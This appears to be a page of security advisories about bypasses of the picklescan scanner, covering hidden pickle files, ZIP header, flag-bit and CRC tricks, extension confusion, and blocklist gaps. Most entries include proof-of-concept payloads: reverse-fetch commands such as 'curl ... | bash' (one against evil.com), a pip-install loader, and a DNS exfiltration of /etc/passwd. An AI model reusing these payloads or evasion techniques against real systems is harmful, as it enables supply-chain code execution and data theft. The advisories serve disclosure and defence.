See how mmaitre314 compares to other vendors in security performance
picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils.configmodule.loadconfig function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.
picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.
picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().
picklescan before 1.0.1 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to create arbitrary zero-byte files via logging.FileHandler class instantiation. Attackers can exploit this by crafting malicious pickle payloads to bypass RCE blocklists and create lock files or other filesystem artifacts, potentially causing denial of service or application disruption.
CVE-2025-1889
Summary
Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.
Details
Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the picklefile parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.
A typical attack works as follows:
- A PyTorch model (model.pt) is created and saved normally. - A second pickle file (config.p) containing a malicious payload is crafted. - The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, picklefile='config.p'), causing config.p to be loaded when the model is opened. - Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection. - The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.
PoC import os import pickle import torch import zipfile from functools import partial
class RemoteCodeExecution: def reduce(self): return os.system, ("curl -s http://localhost:8080 | bash",)
Create a directory inside the model os.makedirs("model", existok=True)
Create a hidden malicious pickle file with open("model/config.p", "wb") as f: pickle.dump(RemoteCodeExecution(), f)
Create a benign model model = {} class AutoLoad: def init(self, path, kwargs): self.path = path self.kwargs = kwargs
def reduce(self): # Use functools.partial to create a partially applied function # with torch.load and the picklefile argument return partial(torch.load, self.path, self.kwargs), ()
model['config'] = AutoLoad(modelname, picklefile='config.p', weightsonly=False) torch.save(model, "model.pt")
Inject the second pickle into the model archive with zipfile.ZipFile("model.pt", "a") as archive: archive.write("model/config.p", "model/config.p")
Loading the model triggers execution of config.p torch.load("model.pt")
Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.
Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.
Recommendations
1. Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions. 2. Detect Hidden Pickle References: Static analysis should detect torch.load(picklefile=...) calls inside data.pkl. 3. Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05). 4. Block the following globals: - torch.load - Block functools.partial
Summary
PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.
Details
Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.
PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.
PoC import os import torch
class RemoteCodeExecution: def reduce(self): return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)
model = RemoteCodeExecution() file = "doesnotscanbutopensintorch.pth" torch.save(model, file)
modify the header to cause the zip file to raise execution in picklescan with open(file, "rb") as f: data = f.read()
Replace only the first occurrence of "data.pkl" with "datap.kl" modifieddata = data.replace(b"data.pkl", b"datap.kl", 1)
Write back the modified content with open(file, "wb") as f: f.write(modifieddata)
Load the infected model torch.load(file)
Impact
Severity: High
- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.
- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.
- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.
Recommendations
- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.
- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.
Summary
PickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.
Details
PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.
By modifying the flagbits field in the ZIP file entry, an attacker can:
- Embed a malicious pickle file (badfile.pkl) in a PyTorch model archive. - Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata. - Prevent PickleScan from scanning the archive due to errors raised by zipfile. - Successfully load the model with torch.load(), which ignores the flag modifications.
This technique effectively bypasses PickleScan's security checks while maintaining model functionality.
PoC import os import zipfile import torch from picklescan import cli
def canscan(zipfile): try: cli.printsummary(False, cli.scanfilepath(zipfile)) return True except Exception: return False
bittoflip = 0x1 # Change to 0x20 or 0x40 to test different flag bits
zipfile = "model.pth" model = {'a': 1, 'b': 2, 'c': 3} torch.save(model, zipfile)
with zipfile.ZipFile(zipfile, "r") as source: flippedname = f"flipped{bittoflip}{zipfile}" with zipfile.ZipFile(flippedname, "w") as dest: badfile = zipfile.ZipInfo("model/badfile.pkl") # Modify the ZIP flag bits badfile.flagbits |= bittoflip dest.writestr(badfile, b"bad content") for item in source.infolist(): dest.writestr(item, source.read(item.filename))
if model == torch.load(flippedname, weightsonly=False): if not canscan(flippedname): print('Found exploitable bit:', bittoflip) else: os.remove(flippedname)
Impact
Severity: High
- Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models. - What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading. - Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.
Recommendations
- Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits. - Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.
By addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.
CVE-2025-1716
Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
1. During unpickling, it calls pip.main() to install a malicious PyPI package. 2. The installed package runs arbitrary code via setup.py, entrypoints, or post-install hooks. 3. Execution is silent, with minimal logging to avoid detection.
PoC
Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entrypoint.
Example malicious setup.py from setuptools import setup import os
os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script
setup( name="rsac-demo-package", version="0.1", packages=["rsacdemo"], installrequires=[], ) Upload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle import pickle import pip
class Exploit: def reduce(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], )
maliciouspickle = pickle.dumps(Exploit())
Simulating deserialization attack pickle.loads(maliciouspickle) This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.
Impact Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Recommended Fixes Add "pip": "" to the list of unsafe globals
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remote attacker to bypass the unsafe globals check. This is possible because the scanner performs an exact match for module names, allowing malicious payloads to be loaded via submodules of dangerous packages (e.g., 'asyncio.unixevents' instead of 'asyncio').
When the incorrectly considered safe file is loaded after scan, it can lead to the execution of malicious code.
Summary Picklescan can be bypassed, allowing the detection of malicious pickle files to fail, when a standard pickle file is given a PyTorch-related file extension (e.g., .bin). This occurs because the scanner prioritizes PyTorch file extension checks and errors out when parsing a standard pickle file with such an extension instead of falling back to standard pickle analysis. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. Details The vulnerability stems from the logic in the scanbytes function within picklescan/scanner.py, specifically around line 463: https://github.com/mmaitre314/picklescan/blob/75e60f2c02f3f1a029362e6f334e1921392dcf60/src/picklescan/scanner.py#L463 The code first checks if the file extension (fileext) is in the pytorchfileextension list. If it is (e.g., .bin), the scanpytorch function is called. When a standard pickle file is encountered with a PyTorch extension, scanpytorch will likely fail. Critically, the code then returns an Error without attempting to analyze the file as a standard pickle using scanpicklebytes. This prevents the detection of malicious payloads within such files. PoC - Download a malicious pickle file with a standard .pkl extension: wget <https://huggingface.co/kzanki/regularmodel/resolve/main/model.pkl?download=true> -O model.pkl - Scan the file with Picklescan (correct detection): /home/davfr/Tests/HF/dangerousmodel/model.pkl: dangerous import 'builtins exec' FOUND ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 1 Dangerous globals: 1
- Rename the file to use a PyTorch-related extension (e.g., .bin): cp model.pkl model.bin - Scan the renamed file with Picklescan: !Screenshot 2025-06-29 at 9 38 13
Observed Result: Picklescan fails and reports an error related to PyTorch parsing but does not detect the malicious pickle content. Expected Result: Picklescan should recognize the file as a standard pickle format despite the .bin extension and scan it accordingly, identifying the malicious content. Impact Severity: High Affected Users: Any organization or individual relying on Picklescan to ensure the safety of PyTorch models or other files that might contain embedded pickle objects. This includes users downloading pre-trained models or receiving files that could potentially contain malicious code. Impact Details: Attackers can craft malicious pickle payloads and disguise them within files using common PyTorch extensions (like .bin, .pt, etc.). These files would then bypass PickleScan's detection mechanism, allowing the malicious code to execute when the file is loaded by a vulnerable application or user. Potential Exploits: This vulnerability significantly weakens the security provided by PickleScan. It opens the door to various supply chain attacks, where malicious actors could distribute backdoored models through platforms like Hugging Face, PyTorch Hub, or even through direct file sharing. Users trusting PickleScan would be unknowingly exposed to these threats. Recommendations The most effective solution is to modify the scanning logic to ensure that standard pickle scanning is attempted as a fallback mechanism when PyTorch scanning fails or is not applicable. A suggested approach is: Attempt PyTorch Scan: If the file extension matches a known PyTorch extension, attempt to scan it as a PyTorch object. Fallback to Pickle Scan: Regardless of the success or failure of the PyTorch scan (or if the extension is not a PyTorch extension), always attempt to scan the file as a standard pickle. This ensures that files with misleading extensions are still analyzed for potential pickle-based vulnerabilities. Suggested Patch
--- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -462,19 +462,28 @@ def scanbytes(data: IO[bytes], fileid, fileext: Optional[str] = None) -> Scan if fileext is not None and fileext in pytorchfileextensions: try: return scanpytorch(data, fileid) except InvalidMagicError as e: - log.error(f"ERROR: Invalid magic number for file {e}") - return ScanResult([], scanerr=True) + log.warning(f"PyTorch scan failed for {fileid} with extension {fileext}: {e}") + # Don't return error here - continue to other scan methods elif fileext is not None and fileext in numpyfileextensions: - return scannumpy(data, fileid) - else: - iszip = zipfile.iszipfile(data) - data.seek(0) - if iszip: - return scanzipbytes(data, fileid) - elif is7zfile(data): - return scan7zbytes(data, fileid) - else: - return scanpicklebytes(data, fileid) + try: + return scannumpy(data, fileid) + except Exception as e: + log.warning(f"NumPy scan failed for {fileid}: {e}") + + # Always attempt additional format checks as fallback + data.seek(0) # Reset stream position + iszip = zipfile.iszipfile(data) + data.seek(0) + if iszip: + return scanzipbytes(data, fileid) + elif is7zfile(data): + return scan7zbytes(data, fileid) + else: + # FIX: Always attempt pickle scanning as fallback + # This prevents the vulnerability where pickle files with wrong extensions bypass detection + return scanpicklebytes(data, fileid)
Summary Picklescan's ability to scan ZIP archives for malicious pickle files is compromised when the archive contains a file with a bad Cyclic Redundancy Check (CRC). Instead of attempting to scan the files within the archive, whatever the CRC is, Picklescan fails in error and returns no results. This allows attackers to potentially hide malicious pickle payloads within ZIP archives that PyTorch might still be able to load (as PyTorch often disables CRC checks).
Details Picklescan likely utilizes Python's built-in zipfile module to handle ZIP archives. When zipfile encounters a file within an archive that has a mismatch between the declared CRC and the calculated CRC, it can raise an exception (e.g., BadZipFile or a related error). It appears that Picklescan does not try to scan the files whatever the CRC is. This behavior contrasts with PyTorch's model loading capabilities, which in many cases might bypass CRC checks for ZIP archives - whatever the configuration is. This discrepancy creates a blind spot where a malicious model packaged in a ZIP with a bad CRC could be loaded by PyTorch while being completely missed by Picklescan.
PoC
1. Download an existing Pytorch model with a bad CRC
wget <https://huggingface.co/jinaai/jina-embeddings-v2-base-en/resolve/main/pytorchmodel.bin?download=true> -O pytorchmodel.bin
2. Attempt to scan the corrupted ZIP file with PickleScan:
Assuming you have Picklescan installed and in your PATH picklescan -p pytorchmodel.bin
!Screenshot 2025-06-29 at 13 52 07 Observed Result: Picklescan returns no results and presents an error message indicating a problem with the ZIP file, but it doesn’t attempt to scan any potentially valid pickle files within the archive.
Expected Result: Picklescan should either:
- Attempt to extract and scan other valid files within the ZIP archive, even if some have CRC errors. - Report a warning indicating that the ZIP archive has CRC errors and might be incomplete or corrupted, but still attempt to scan any accessible content.
Impact Severity: High Affected Users: Any organization or individual using Picklescan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. Impact Details: Attackers can craft malicious PyTorch models containing embedded pickle payloads, package them into ZIP archives, and intentionally introduce CRC errors. This would cause Picklescan to fail to analyze the archive, while PyTorch is still able to load the model (depending on its configuration regarding CRC checks). This creates a significant vulnerability where malicious code can be distributed and potentially executed without detection by Picklescan. Ex: Picklescan on HuggingFace goes into error (https://huggingface.co/jinaai/jina-embeddings-v2-base-en/tree/main) !Screenshot 2025-06-29 at 13 55 58
Recommendations: Picklescan should not fail on Bad CRC check, especially if Pytorch is not checking CRC. Relaxed Zipfile is perfect to fix this issue: --- picklescan/src/picklescan/relaxedzipfile.py +++ picklescan/src/picklescan/relaxedzipfile.py @@ class RelaxedZipFile(zipfile.ZipFile): try: # Skip the file header: fheader = zeffile.read(sizeFileHeader) if len(fheader) != sizeFileHeader: raise zipfile.BadZipFile("Truncated file header")
fheader = struct.unpack(structFileHeader, fheader) if fheader[FHSIGNATURE] != stringFileHeader: raise zipfile.BadZipFile("Bad magic number for file header")
zeffile.read(fheader[FHFILENAMELENGTH]) if fheader[FHEXTRAFIELDLENGTH]: zeffile.read(fheader[FHEXTRAFIELDLENGTH])
- return zipfile.ZipExtFile(zeffile, mode, zinfo, pwd, True) + + # Create the ZipExtFile and disable CRC check + extfile = zipfile.ZipExtFile(zeffile, mode, zinfo, pwd) + # Monkey-patch to skip CRC validation + extfile.expectedcrc = None + return extfile
except BaseException: zeffile.close() raise
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.getservercertificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.getservercertificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using linecache module - Encodes the data for DNS exfiltration - Constructs a malicious domain name using a third party service dnslog.cn - Triggers a DNS resolution via ssl.getservercertificate - Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".
python
import numpy as np
def createmaliciousmodel(): Define the payload class class DNSLogPayload: def reduce(self): # Step 1: read a line from /etc/passwd linecache = import("linecache") firstline = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain subdomain = firstline.replace(":", "").replace("/", "") fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.getservercertificate to trigger DNS resolution sslmod = import("ssl") return (getattr(sslmod, "getservercertificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file np.save("dnslogtriggerpayload.npy", arr, allowpickle=True)
def loadmodel(model): try: return np.load(model, encoding="latin1", fiximports=True, allowpickle=1) except Exception: raise ValueError("Invalid file")
if name == "main": createmaliciousmodel() model = "dnslogtriggerpayload.npy" print("[i] Loading and executing the model") data = loadmodel(model)
Impact
1. Evade detection: Bypasses the latest version of picklescan's blacklist. 2. Exfiltrate sensitive local files to an attacker controlled DNS